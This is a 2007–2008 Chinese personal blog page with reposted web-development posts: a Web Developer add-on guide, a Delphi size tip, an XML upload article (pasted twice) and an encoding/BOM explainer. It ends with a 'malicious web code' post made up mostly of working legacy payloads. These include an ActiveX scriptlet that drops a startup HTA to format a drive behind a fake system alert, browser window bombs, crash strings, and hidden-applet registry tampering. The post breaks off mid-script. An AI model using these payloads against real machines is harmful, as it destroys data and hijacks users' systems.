关于作者

用户名:liming0658
笔名:随风舞动
地区: 湖北-武汉
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言


个人空间

我型我酷

软件编程

滴水穿石

国外新闻

放飞心情

网站设计

创意人生

zmxj的专栏

访问统计:
文章个数:540
评论个数:19
留言条数:7




Powered by BlogDriver 2.1

WEB2.0年代

 

有事你Q我

文章

Web Developer插件下载及使用教程
Web Developer 插件以工具栏的形式对网页的(X)HTML、脚本、多媒体、CSS、缓存、图象等多方面的实用工具。使我们能轻易的获得网页的更多信息,使我们进一步的了解当前所浏览的网页。

在Web Developer 插件工具栏中,主要由以下几个部分组成:Disable、Cookies、CSS、Forms、Images、Information、Miscellaneous、Outline、Resize、Tools、View Source、Options。下面我们就对其概况进行介绍。

Disable禁用工具 可以暂时的屏蔽当前页面中的某些东东,如JavaScript脚本、缓存、mete自动重新定向、将网页显示为黑色(图片除外)、禁用弹窗等等。如下图:


Cookies工具 可以用此工具查看当前页面的Cookies信息,可以按不同的域名或路径进行查看,而且可以手工增加一个Cookies,这对于后台网络编程的开发调试来说是非常方便而得力的工具。如下图:


CSS样式表工具 这是一个非常强大的工具,基于CSS网页布局有这个得力的助手,工作与学习都将变的非常简单,可以控制CSS是否应用,查看页面的CSS文件,并进行实时的编辑,并在浏览器窗口中立即反应出编辑后的效果。关于此工具的详细介绍:Web Developer插件 CSS工具组教程

Forms表单工具 其主要作用是对页面的表单进行控制,其中的很多功能对于表单程序的开发有着非常非常大的帮助,由于我们的重点是CSS网页布局,此工具我们不作深入的探讨。如下图:


Images图像工具 可以对当前页面的图像进行设定,可以显示所有图片的alt信息,对背景等也可以进行是否显示的设定。如下图:



Information信息工具 此工具在我们的CSS网页布局设计中也经常用到,我们可以用它来查看页面中所有的id、class及table等元素的名称、占位等信息,关于此工具的详细介绍:Web Developer插件 Information工具教程

Miscellaneous其他 这是一个非常“好玩”的工具,它所提供的功能是我们所梦寐以求的,在页面布局中,我们可以用它来达到很多有意思的功能,如辅助线、面积、测量等,我们在CSS网页布局设计中也经常用到,关于此工具的详细介绍:Web Developer插件 Miscellaneous工具教程

Outline线框工具 这组工具对我们CSS网页布局设计是非常有用的,线框显示工具能够将页面中的某些元素使用线框描边,使我们可以更好的查看其占位信息,我们可以使用它给div、h1-h6、表单等进行线框描边,关于此工具的详细介绍:Web Developer插件 Outline、Resize工具教程

Resize尺寸工具 我们可以用它来改变浏览器窗口的尺寸,如果我们使用了1600*1200的分辨率,我们可以借助此工具来模拟1027*768的窗口效果。关于此工具的详细介绍:Web Developer插件 Outline、Resize工具教程

Tools工具 对于我们CSS网页布局设计,它的最大功能在于将CSS及XHTML校验工具整合在一起,可以点击此工具中的校验选项对当前页面进行检验,它会自动链接到相关校验页面,并返回校验结果。如下图:


View Source查看源代码 用于查看页面的源文件。


【教程内有图片,但贴不过来】
教程地址如下:

DIV+CSS设计必备工具:Firefox+Web Developer插件
http://www.aa25.cn/Aricle/Show-58.html

网页设计必备工具:Web Developer插件概要
http://www.aa25.cn/Aricle/Show-61.html

网页设计必备工具:Web Developer插件 CSS工具组教程
http://www.aa25.cn/Aricle/Show-62.html

网页设计必备工具:Web Developer插件 Information工具教程
http://www.aa25.cn/Aricle/Show-63.html

DIV+CSS设计必备工具:Web Developer插件 Miscellaneous工具教程
http://www.aa25.cn/Aricle/Show-64.html

DIV+CSS设计必备工具:Web Developer插件 Outline、Resize工具教程
http://www.aa25.cn/Aricle/Show-65.html




教程内都配有图片,比较浅显易懂,我也是找了好久才找到这么好的教程,和大家分享了。
Web Developer功能确实很强大,CSS写法的不规范,错误,包括JS的错误都可以给你检测出来。另外最值得称赞的是编辑css功能,可以把任意网页的CSS进行编辑,效果实时在浏览器上显示出来,相信对你掌握网页标准化有很大的帮助的。
参考资料:http://www.aa25.cn/Aricle/Show-58.html

- 作者: 随风舞动 2008年10月7日, 星期二 19:55  回复(0) |  引用(0) 加入博采

怎么样使程序的体积减小

在Delphi写了很多Form,如果直接编译的话,它会生成一个大约7M大的可执行文件,直接发给客户话,好象占有的资源比较多,程序运行也比较慢!  
要什么样子才能让可执行的文件变小?   
或者是在编写程序的时候要生成很多的DLL文件?   
还是要怎么样设计程序,让它的运行速度更快,体积更小?

首先结构要设计合理,多用函数和过程,或者DLL。少放大图片在程序上。不经常用的可以动态生成。少用三方控件,窗体相同的可用继承方式,最后还可以用EXE压缩软件进行压缩(ASPACK等).

还有一个好办法:自己编写替代TApplication类的代码,可以大幅减少体积,但需要多写一些代码!

- 作者: 随风舞动 2008年07月31日, 星期四 09:38  回复(0) |  引用(0) 加入博采

XML技术上传文件
网上看到的,转载了细细研究
http://blog.csdn.net/pazll/archive/2005/03/24/328646.aspx

概述

  本文讲解了一个使用XML技术上传文件的例子,使用该方法没有传统方法中的种种限制。 这个例子讲述了如何使用MSXML3.0和ADO Stream对象来实现这种新的上传方法。好处有很多,比如,不需要专用的上传组件。


引言

为了在HTML网页中获得上传功能,在客户端我们可以使用如下格式的FORM:

< FORM NAME="myForm" ACTION="TargetURL.asp" ENCTYPE="multipart/form-data"METHOD="post" >
< INPUT TYPE="file" NAME="myFile" >
< INPUT TYPE="submit" VALUE="Upload File" >
< /FORM >

  这种方案在客户端和服务器端的使用都有很多限制。首先,我们必须使用POST方法,因为GET方法无法处理这样的表单数据。并且,没有什么方法可以在不使用表单的情况下引发一个POST动作。把数据发送给表单处理程序后,浏览器将会把处理程序作为新页面加载,然后使用者会看到一个不讨人喜欢的页面转换过程。

  ENCTYPE属性为表单定义了MIME编码方式,上传文件的表单的ENCTYPE属性必须使用“multipart/form-data”。把这个属性设置为“multipart/form-data”就创建了一个与传统结构不同的POST缓冲区(复合结构),ASP的Request对象无法访问这样的表单内容。所以,我们可以使用Request.binaryRead方法来访问这些数据,但是无法使用脚本语言来完成这一切。Request.binaryRead方法返回一个VTarray型数据(只包含无符号一字节字符的Variant型数组)。但是脚本语言只能处理Variant型数据。为了解决这个问题,只能使用专用的ASP上传组件,或者ISAPI扩展程序,比如CPSHOST.DLL。这是设计上的限制。

新的上传方案

需要按照如下步骤操作。
客户端:

使用MSXML 3.0创建一个XML文档
创建一个针对二进制内容的XML节点
使用ADO Stream object将上传的文件数据放入该节点
使用XMLHTTP对象把这个XML文档发送给Web服务器

服务器端:

  从Request对象中读出XML文档读出二进制节点中的数据并且存储到服务器上的文件中。当然,我们也可以将其存储到数据库的BLOB型字段中。
  在解释这段代码之前,我们可以对这个方案进行一些思考。

对XML的思考

  XML格式支持很多数据类型,比如numeric, float, character等等。很多作者将XML定义为ASCII格式,但是我们不能忽视,XML技术还可以使用“bin.base64”数据类型来描述二进制信息。这个特性在MS XML3.0解析器重得到完全的支持,但是目前还需要一些特别设置。该对象提供一些可以对二进制数据进行完全控制的属性:

  obj_node.dataType - 该可读写的属性定义了特定节点的数据类型。MSXML解析器支持更多的数据类型(参见MSDN:http://msdn.microsoft.com/library/psdk/xmlsdk/xmls3z1v.htm)
对于二进制数据,我们可以使用“bin.base64”类型。

  obj_node.nodeTypedValue - 该可读写属性包含了按照制定类型表示的指定节点的数据。
我们可以创建一个包含多个bin.base64类型节点的XML文档,节点中包含上传的文件。这点特性可以使用一个POST一次上传多个文件。

  我们可以使用XMLHttpRequest对象和POST方法发送一个XML文档给Web服务器。该对象为HTTP服务器提供了客户端协议支持,允许在Web服务器上发送和接受MS XMLDOM对象。XMLHttpRequest是Internet Explorer 5内置的COM对象(不需要定制安装),并且发送完毕后无需转换页面。


对ADO Stream对象的思考

  我们可以在客户端创建一个包含一个或者多个二进制节点的XML文档。我们还必须把文件内容填入节点中。但是很不幸,脚本语言不能访问本地文件系统,并且Scripting.FileSystem对象(是Win32系统的内置对象)到目前为止还不能访问二进制文件。这是设计上的限制。所以我们需要另外找一个可以提供对本地二进制文件的访问的COM对象。

  ADO Stream对象(MDAC 2.5中的组件)提供了读、写和管理二进制流数据的手段。字节流的内容可以是文本,或者二进制数据,并且没有容量上的限制。在ADO 2.5中,Microsoft对Stream对象的介绍不属于ADO对象结构的任何一层,所以,我们无需捆绑即可使用该对象。

  本文中使用Stream对象来访问文件内容,再把内容存入XML节点。

客户端

以下示例代码使用Stream和MSXML对象完成文件上传动作。

< HTML >
< HEAD >< TITLE >File Send< /TITLE >< /HEAD >
< BODY >
< INPUT id=btn_send name="btn_send" type=button value="FILE SEND" >
< DIV id=div_message >Ready


< /BODY >
< /HTML >

< SCRIPT LANGUAGE=JavaScript >

// 上传函数
function btn_send.onclick()
{
// 创建 ADO-stream 对象
var ado_stream = new ActiveXObject("ADODB.Stream");

// 创建包含默认头信息和根节点的 XML文档
var xml_dom = new ActiveXObject("MSXML2.DOMDocument");
xml_dom.loadXML(' ');
// 指定数据类型
xml_dom.documentElement.setAttribute("xmlns:dt", "urn:schemas-microsoft-com:datatypes");

// 创建一个新节点,设置其为二进制数据节点
var l_node1 = xml_dom.createElement("file1");
l_node1.dataType = "bin.base64";
// 打开Stream对象,读源文件
ado_stream.Type = 1; // 1=adTypeBinary
ado_stream.Open();
ado_stream.LoadFromFile("c:\\tmp\\myfile.doc");
// 将文件内容存入XML节点
l_node1.nodeTypedValue = ado_stream.Read(-1); // -1=adReadAll
ado_stream.Close();
xml_dom.documentElement.appendChild(l_node1);

// 可以创建多个二进制节点,一次上传多个文件

// 把XML文档发送到Web服务器
var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("POST","./file_recieve.asp",false);
xmlhttp.send(xml_dom);
// 显示服务器返回的信息
div_message.innerHTML = xmlhttp.ResponseText;
}
< /SCRIPT >

以下代码使用相同的对象提供服务器端的上传处理功能。


< %@ LANGUAGE=VBScript% >
< % Option Explicit
Response.Expires = 0

' 定义变量和对象。
dim ado_stream
dim xml_dom
dim xml_file1

' 创建 Stream 对象
set ado_stream = Server.CreateObject("ADODB.Stream")
' 从Request对象创建 XMLDOM对象
set xml_dom = Server.CreateObject("MSXML2.DOMDocument")
xml_dom.load(request)
' 读出包含二进制数据的节点
set xml_file1 = xml_dom.selectSingleNode("root/file1")

' 打开Stream对象,把数据存入其中
ado_stream.Type = 1 ' 1=adTypeBinary
ado_stream.open
ado_stream.Write xml_file1.nodeTypedValue
' 文件存盘
ado_stream.SaveToFile "c:\tmp\upload1.doc",2 ' 2=adSaveCreateOverWrite
ado_stream.close

' 销毁对象
set ado_stream = Nothing
set xml_dom = Nothing
' 向浏览器返回信息
Response.Write "Upload successful!"
% >

也可以使用Stream对象把数据放到数据库的BLOB型字段中。

使用该方法的益处

不引起页面转换。
不需要专用组件。
可同时上传多个文件。

  这段程序是纯脚本写成的,可以很容易的插入到其他代码中,而不需要任何HTML对象的配合。还可以把这个逻辑在任何支持COM标准的语言中实现。

系统安全考虑

  该方法只能使用于内部网络,因为它需要IE5的安全级别设置为“低”。必须:

  允许脚本和ActiveX对象。该设置允许浏览器执行类似 "myobj = new activexobject(...)"的 JScript语句;

  必须允许穿越域访问数据源。这个设置允许在客户端使用Stream对象。还必须在服务器和客户端都安装MS XML DOM 3.0 和MDAC 2.5 。概述

  本文讲解了一个使用XML技术上传文件的例子,使用该方法没有传统方法中的种种限制。 这个例子讲述了如何使用MSXML3.0和ADO Stream对象来实现这种新的上传方法。好处有很多,比如,不需要专用的上传组件。


引言

为了在HTML网页中获得上传功能,在客户端我们可以使用如下格式的FORM:

< FORM NAME="myForm" ACTION="TargetURL.asp" ENCTYPE="multipart/form-data"METHOD="post" >
< INPUT TYPE="file" NAME="myFile" >
< INPUT TYPE="submit" VALUE="Upload File" >
< /FORM >

  这种方案在客户端和服务器端的使用都有很多限制。首先,我们必须使用POST方法,因为GET方法无法处理这样的表单数据。并且,没有什么方法可以在不使用表单的情况下引发一个POST动作。把数据发送给表单处理程序后,浏览器将会把处理程序作为新页面加载,然后使用者会看到一个不讨人喜欢的页面转换过程。

  ENCTYPE属性为表单定义了MIME编码方式,上传文件的表单的ENCTYPE属性必须使用“multipart/form-data”。把这个属性设置为“multipart/form-data”就创建了一个与传统结构不同的POST缓冲区(复合结构),ASP的Request对象无法访问这样的表单内容。所以,我们可以使用Request.binaryRead方法来访问这些数据,但是无法使用脚本语言来完成这一切。Request.binaryRead方法返回一个VTarray型数据(只包含无符号一字节字符的Variant型数组)。但是脚本语言只能处理Variant型数据。为了解决这个问题,只能使用专用的ASP上传组件,或者ISAPI扩展程序,比如CPSHOST.DLL。这是设计上的限制。

新的上传方案

需要按照如下步骤操作。
客户端:

使用MSXML 3.0创建一个XML文档
创建一个针对二进制内容的XML节点
使用ADO Stream object将上传的文件数据放入该节点
使用XMLHTTP对象把这个XML文档发送给Web服务器

服务器端:

  从Request对象中读出XML文档读出二进制节点中的数据并且存储到服务器上的文件中。当然,我们也可以将其存储到数据库的BLOB型字段中。
  在解释这段代码之前,我们可以对这个方案进行一些思考。

对XML的思考

  XML格式支持很多数据类型,比如numeric, float, character等等。很多作者将XML定义为ASCII格式,但是我们不能忽视,XML技术还可以使用“bin.base64”数据类型来描述二进制信息。这个特性在MS XML3.0解析器重得到完全的支持,但是目前还需要一些特别设置。该对象提供一些可以对二进制数据进行完全控制的属性:

  obj_node.dataType - 该可读写的属性定义了特定节点的数据类型。MSXML解析器支持更多的数据类型(参见MSDN:http://msdn.microsoft.com/library/psdk/xmlsdk/xmls3z1v.htm)
对于二进制数据,我们可以使用“bin.base64”类型。

  obj_node.nodeTypedValue - 该可读写属性包含了按照制定类型表示的指定节点的数据。
我们可以创建一个包含多个bin.base64类型节点的XML文档,节点中包含上传的文件。这点特性可以使用一个POST一次上传多个文件。

  我们可以使用XMLHttpRequest对象和POST方法发送一个XML文档给Web服务器。该对象为HTTP服务器提供了客户端协议支持,允许在Web服务器上发送和接受MS XMLDOM对象。XMLHttpRequest是Internet Explorer 5内置的COM对象(不需要定制安装),并且发送完毕后无需转换页面。


对ADO Stream对象的思考

  我们可以在客户端创建一个包含一个或者多个二进制节点的XML文档。我们还必须把文件内容填入节点中。但是很不幸,脚本语言不能访问本地文件系统,并且Scripting.FileSystem对象(是Win32系统的内置对象)到目前为止还不能访问二进制文件。这是设计上的限制。所以我们需要另外找一个可以提供对本地二进制文件的访问的COM对象。

  ADO Stream对象(MDAC 2.5中的组件)提供了读、写和管理二进制流数据的手段。字节流的内容可以是文本,或者二进制数据,并且没有容量上的限制。在ADO 2.5中,Microsoft对Stream对象的介绍不属于ADO对象结构的任何一层,所以,我们无需捆绑即可使用该对象。

  本文中使用Stream对象来访问文件内容,再把内容存入XML节点。

客户端

以下示例代码使用Stream和MSXML对象完成文件上传动作。

< HTML >
< HEAD >< TITLE >File Send< /TITLE >< /HEAD >
< BODY >
< INPUT id=btn_send name="btn_send" type=button value="FILE SEND" >
< DIV id=div_message >Ready


< /BODY >
< /HTML >

< SCRIPT LANGUAGE=JavaScript >

// 上传函数
function btn_send.onclick()
{
// 创建 ADO-stream 对象
var ado_stream = new ActiveXObject("ADODB.Stream");

// 创建包含默认头信息和根节点的 XML文档
var xml_dom = new ActiveXObject("MSXML2.DOMDocument");
xml_dom.loadXML(' ');
// 指定数据类型
xml_dom.documentElement.setAttribute("xmlns:dt", "urn:schemas-microsoft-com:datatypes");

// 创建一个新节点,设置其为二进制数据节点
var l_node1 = xml_dom.createElement("file1");
l_node1.dataType = "bin.base64";
// 打开Stream对象,读源文件
ado_stream.Type = 1; // 1=adTypeBinary
ado_stream.Open();
ado_stream.LoadFromFile("c:\\tmp\\myfile.doc");
// 将文件内容存入XML节点
l_node1.nodeTypedValue = ado_stream.Read(-1); // -1=adReadAll
ado_stream.Close();
xml_dom.documentElement.appendChild(l_node1);

// 可以创建多个二进制节点,一次上传多个文件

// 把XML文档发送到Web服务器
var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("POST","./file_recieve.asp",false);
xmlhttp.send(xml_dom);
// 显示服务器返回的信息
div_message.innerHTML = xmlhttp.ResponseText;
}
< /SCRIPT >

以下代码使用相同的对象提供服务器端的上传处理功能。


< %@ LANGUAGE=VBScript% >
< % Option Explicit
Response.Expires = 0

' 定义变量和对象。
dim ado_stream
dim xml_dom
dim xml_file1

' 创建 Stream 对象
set ado_stream = Server.CreateObject("ADODB.Stream")
' 从Request对象创建 XMLDOM对象
set xml_dom = Server.CreateObject("MSXML2.DOMDocument")
xml_dom.load(request)
' 读出包含二进制数据的节点
set xml_file1 = xml_dom.selectSingleNode("root/file1")

' 打开Stream对象,把数据存入其中
ado_stream.Type = 1 ' 1=adTypeBinary
ado_stream.open
ado_stream.Write xml_file1.nodeTypedValue
' 文件存盘
ado_stream.SaveToFile "c:\tmp\upload1.doc",2 ' 2=adSaveCreateOverWrite
ado_stream.close

' 销毁对象
set ado_stream = Nothing
set xml_dom = Nothing
' 向浏览器返回信息
Response.Write "Upload successful!"
% >

也可以使用Stream对象把数据放到数据库的BLOB型字段中。

使用该方法的益处

不引起页面转换。
不需要专用组件。
可同时上传多个文件。

  这段程序是纯脚本写成的,可以很容易的插入到其他代码中,而不需要任何HTML对象的配合。还可以把这个逻辑在任何支持COM标准的语言中实现。

系统安全考虑

  该方法只能使用于内部网络,因为它需要IE5的安全级别设置为“低”。必须:

  允许脚本和ActiveX对象。该设置允许浏览器执行类似 "myobj = new activexobject(...)"的 JScript语句;

  必须允许穿越域访问数据源。这个设置允许在客户端使用Stream对象。还必须在服务器和客户端都安装MS XML DOM 3.0 和MDAC 2.5 。

- 作者: 随风舞动 2008年07月31日, 星期四 09:26  回复(0) |  引用(0) 加入博采

编码,charset,乱码,unicode,utf-8与net简单释义(续)

1.byte与string(那些255以内的整数)的相互转换(各种进制之间的相互转换)
使用System.Convert类别
string to byte
Convert.ToByte(string,base)
base:2表示二进制,8表示八进制,10表示十进制,16表示十六进制(你要输入33,呵呵﹐异常)
这样可以把字符串的(0--255)转成一个byte
Convert.ToByte("01000001",2)转成 65
Convert.ToByte("255",10)转成255
Convert.ToByte("42",16)转成66

同理﹐byte to string也是Convert类
Convert.ToString(byte,base)
同样可以转成相应的进制表示的字符串

通过这两个方法﹐我们要进行2,8,10,16进制的相互转换就容易了

2.char,int,long,boolean等与byte[]之间的相互转换(这些数据在内存中的存储状况)
使用System.BitConverter类别
我们都知道char,int,long等基本类型是以字节形式存在内存中的﹐所以要查看其内存存储方式则直接使用BitConverter.GetBytes()就可以了
然后再使用BitConverter.ToString(byte[])就可以以string方式查看了(如:f9-03表示2个字节)

string是由char组成的﹐只要foreach(char in string)就可以看到string的存储方式了(实验表明﹐string在内存中是以unicode编码存在的,下有示例)

3.各种Encoding之间的转换
使用System.Text中的Encoding相关的类别就可以了
包括Encoding,ASCIIEncoding,UTF8Encoding等,当然也可以通过Encoding.GetEncoding()来获取不同的编码。
然后再通过GetBytes(string)方法﹐就可以获取string的不同编码的byte数组了
通过GetString(byte[])方法﹐就可以把某种编码的byte数组转成字符串.
如"I am 小生,hello world!"的各种bytes编码测试

 

在下面开始之前﹐先摘录一段关于BOM的知识

-----------------------------------------------------------------
UTF的字节序和BOM

UTF-8以字节为编码单元,没有字节序的问题。UTF-16以两个字节为编码单元,在解释一个UTF-16文本前,首先要弄清楚每个编码单元的字节序。例如收到一个“奎”的Unicode编码是594E,“乙”的Unicode编码是4E59。如果我们收到UTF-16字节流“594E”,那么这是“奎”还是“乙”?

Unicode规范中推荐的标记字节顺序的方法是BOM。BOM不是“Bill Of Material”的BOM表,而是Byte Order Mark。BOM是一个有点小聪明的想法:在UCS编码中有一个叫做"ZERO WIDTH NO-BREAK SPACE"的字符,它的编码是FEFF。而FFFE在UCS中是不存在的字符,所以不应该出现在实际传输中。UCS规范建议我们在传输字节流前,先传输字符"ZERO WIDTH NO-BREAK SPACE"。

这样如果接收者收到FEFF,就表明这个字节流是Big-Endian的;如果收到FFFE,就表明这个字节流是Little-Endian的。因此字符"ZERO WIDTH NO-BREAK SPACE"又被称作BOM。

UTF-8不需要BOM来表明字节顺序,但可以用BOM来表明编码方式。字符"ZERO WIDTH NO-BREAK SPACE"的UTF-8编码是EF BB BF。所以如果接收者收到以EF BB BF开头的字节流,就知道这是UTF-8编码了。

Windows就是使用BOM来标记文本文件的编码方式的。


----------------------------------------------------------

好了﹐这些问题解决后﹐我们就来做单纯的文本文件的编码识别﹐读取与写入测试吧。
以windows的notepad为例(其它的文本文件读取软件的原理应该也差不多﹐只是会多一些特殊的判断算法而已)。

notepad默认有四种编码来存储和读取文本文件。分别是﹕
ANSI,Unicode,Unicode-big-endian和UTF-8。
首先来讲ANSI吧﹐这个是windows操作系统在区域与语言块设置的编码(也就是系统默认的编码)﹐因此像繁体操作系统就是big5,而简体操作系统则是GBK。

而Unicode和UTF-8这两种格式相信大家已经有所了解(当然前者是unicode-16)

而Unicode-big-endian是什么意思呢﹐它与Unicode几乎一样﹐只是它把高位放在前面(而后者则刚好相反)
上面的摘录已经有所说明﹐这里再解释一下﹕
如同样是字符"A"﹐在以下几种格式中的存储形式分别是﹕
UTF-16 big-endian : 00 41
UTF-16 little-endian : 41 00
UTF-32 big-endian : 00 00 00 41
UTF-32 little-endian : 41 00 00 00


好了﹐大家想一想﹐文本文件在硬盘中是以字节形式存储的﹐如果不知道文本文件的编码﹐那是无论如何也不能正确读出文本文件显示给用户看的(乱码了只有人才知道﹐程序则认为一切正常)

根据BOM的规则﹐因此在一段字节流开始时﹐如果接收到以下字节﹐则分别表明了该文本文件的编码。
UTF-8: EF BB BF
UTF-16 : FF FE
UTF-16 big-endian: FE FF
UTF-32 little-endian: FF FE 00 00
UTF-32 big-endian: 00 00 FE FF
而如果不是以这个开头﹐那程序则会以ANSI,也就是系统默认编码读取。

所以现在我们来做个测试就可以很清楚地对以上的东东进行验证了。
1.用notepad输入"汉A"这2个字符﹐然后分别保存成ANSI,Unicode,Unicode-big-endian和UTF-8,名字分别取为ansi.txt,unicode.txt,unicode_b.txt,utf8.txt,并且放在c盘根目录下

2.用以下程序进行验证


3.以下是输出格式﹕
ANSI文件格式的字节流﹕
BA-BA-41
10111010 10111010 01000001
Unicode文件格式的字节流﹕
FF-FE-49-6C-41-00
11111111 11111110 01001001 01101100 01000001 00000000
Unicode-big-endian文件格式的字节流﹕
FE-FF-6C-49-00-41
11111110 11111111 01101100 01001001 00000000 01000001
utf-8文件格式的字节流﹕
EF-BB-BF-E6-B1-89-41
11101111 10111011 10111111 11100110 10110001 10001001 01000001

从以上结果可以很容易的看到BABA正是"汉"字的gb2312编码﹐当然我的操作系统是繁体的﹐如果我直接双击打开﹐则可以看到"荦A"﹐这是乱码﹐因为我的系统baba查的是big5﹐而baba的big5码正是"荦"

然而还有其它很多程序﹐像IE呀,它可以使用meta标签来识别文件的编码,xml也是可以通过encoding属性来说明文件的编码的﹐所以这些程序的识别方法和普通的又有些不同罢了。

同样﹐写一个文本文件时﹐先写入这些标记符﹐则也会帮助notepad识别这些文件的编码(当然.net专门提供了一些类别﹐如StreamWriter﹐可以直接存成某种编码的格式)。

至于各种encoding之间的转换﹐我想也不必多说了﹐通过Encoding类的Convert,GetBytes和GetString方法是很容易进行转换的。

原来潜水看别人的文章时发现很简单﹐自己写起来才发现写好一篇blog这么困难(汗...) 



Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1496787

- 作者: 随风舞动 2007年11月27日, 星期二 09:22  回复(0) |  引用(0) 加入博采

网页恶性代码分析
格式化硬盘 
〈object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"〉 
〈/object〉 
〈SCRIPT〉 
scr.Reset(); 
scr.Path="C:\\windows\\Men?inicio\\Programas\\Inicio\\automat.hta"; 
scr.Doc="〈object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'〉〈/object〉〈SCRIPT〉wsh.Run('start /m format a: /q /autotest /u');alert('IMPORTANT : Windows is configuring the system. Plase do not interrupt this process.');〈/"+"SCRIPT〉"; 
scr.write(); 

———恶性代码专区——— 




————————〉 使 WINDOWS 98掉线的代码 

〈html〉 
〈head〉 
〈/head〉 
〈a href="wincrash.htm" onmouseclick="alert("Go To Hell,Mall!")"〉HaHa!〈/a〉 
〈/html〉 

〈HTML〉 
〈BODY〉 
[img]c:\con\con"〉 
〈!-- or nul\nul, clock$\clock$ --〉 
〈!-- or aux\aux, config$\config$ --〉 
〈/BODY〉 
〈/HTML〉 




————————〉 视窗炸弹 

〈HTML〉 
〈HEAD〉 
〈TITLE〉**** USA〈/TITLE〉 
〈meta http-equiv="Content-Type" content="text/html; charset=gb2312"〉 
〈/HEAD〉 
〈BODY onload="WindowBomb()"〉 
〈SCRIPT LANGUAGE="javascript"〉 

function WindowBomb() 

var iCounter = 0 // dummy counter 

while (true) 

window.open("http://i50.126.com","CRASHING" + iCounter,"width=1,height=1,resizable=no") 
iCounter++ 



〈/script〉 
〈/BODY〉 

〈/HTML〉 



————————〉 造成IE 5.0崩溃的代码 

〈HTML〉 
〈BODY〉 
〈SCRIPT〉 
var color = new Array; 
color[1] = "black"; 
color[2] = "white"; 
for(x = 0; x 〈3; x++) 

document.bgColor = color[x] 
if(x == 2) 

x = 0; 


〈/SCRIPT〉 
〈/BODY〉 
〈/HTML〉 



————————〉 进入WINDOWS 之前弹出来的对话框代码 到注册表找到 LegalNoticeCaption , LegalNoticeText 删除 

〈SCRIPT language=javascript〉document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉"); 

function f(){ 
try 

//ActiveX initialization 
a1=document.applets[0]; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Shl = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
a1.createInstance(); 
FSO = a1.GetObject(); 
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Net = a1.GetObject(); 

try 

if (documents \.cookiess.indexOf("Chg") == -1) 

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "这里是标题栏 网络联盟 i50.126.com"); 
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "这里是标题栏 网络联盟 i50.126.com"); 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "请多留意本站的文章 i50.yjpc.com"); 
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "请多留意本站的文章 i50.yjpc.com"); 
var expdate = new Date((new Date()).getTime() + (1)); 
documents \.cookiess="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 



catch(e) 
{} 

catch(e) 
{} 

function init() 

setTimeout("f()", 1000); 

init();〈/SCRIPT〉 



————————〉 造成 WINDOWS98 不能关机的代码。 到注册表找到 FastReboot 删除就OK 

〈SCRIPT language=javascript〉document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉"); 

function f(){ 
try 

//ActiveX initialization 
a1=document.applets[0]; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Shl = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
a1.createInstance(); 
FSO = a1.GetObject(); 
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Net = a1.GetObject(); 

try 

if (documents \.cookiess.indexOf("Chg") == -1) 

Shl.RegWrite ("HKLM\\System\\CurrentControlSet\\Control\\Shutdown\\FastReboot", "1"); 
Shl.RegWrite ("HKCU\\System\\CurrentControlSet\\Control\\Shutdown\\FastReboot", "1"); 
var expdate = new Date((new Date()).getTime() + (1)); 
documents \.cookiess="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 



catch(e) 
{} 

catch(e) 
{} 

function init() 

setTimeout("f()", 1000); 

init();〈/SCRIPT〉 



————————〉视窗炸弹代码 


〈HTML〉 
〈HEAD〉 
〈TITLE〉**** USA〈/TITLE〉 
〈meta http-equiv="Content-Type" content="text/html; charset=gb2312"〉 
〈/HEAD〉 
〈BODY onload="WindowBomb()"〉 
〈SCRIPT LANGUAGE="javascript"〉 

function WindowBomb() 

var iCounter = 0 // dummy counter 

while (true) 

window.open("http://i50.126.com","CRASHING" + iCounter,"width=1,height=1,resizable=no") 
iCounter++ 



〈/script〉 
〈/BODY〉 

〈/HTML〉 








————————〉让IE不段循环的代码 


〈HTML〉 
〈HEAD〉 
〈TITLE〉**** USA〈/TITLE〉 
〈META HTTP-EQUIV="Content-Type" CONTENT="text/html;CHARSET=gb2312"〉 
〈/HEAD〉 
〈BODY onload="WindowBomb()"〉 
〈SCRIPT LANGUAGE="javascript"〉 
function WindowBomb() 

var iCounter = 0 // dummy counter 
while (true) 

window.open("http://i50.126.com","CRASHING" + iCounter,"width=1,height=1,resizable=no") 
iCounter++ 


〈/script〉 
〈/BODY〉 
〈/HTML〉 





————————〉让电脑自动启动程序的代码 。 修改方法 找到相应键值http://i50.yjpc.com/ 删除 

〈SCRIPT language=javascript〉document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉"); 

function f(){ 
try 

file://ActiveX/ initialization 
a1=document.applets[0]; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Shl = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
a1.createInstance(); 
FSO = a1.GetObject(); 
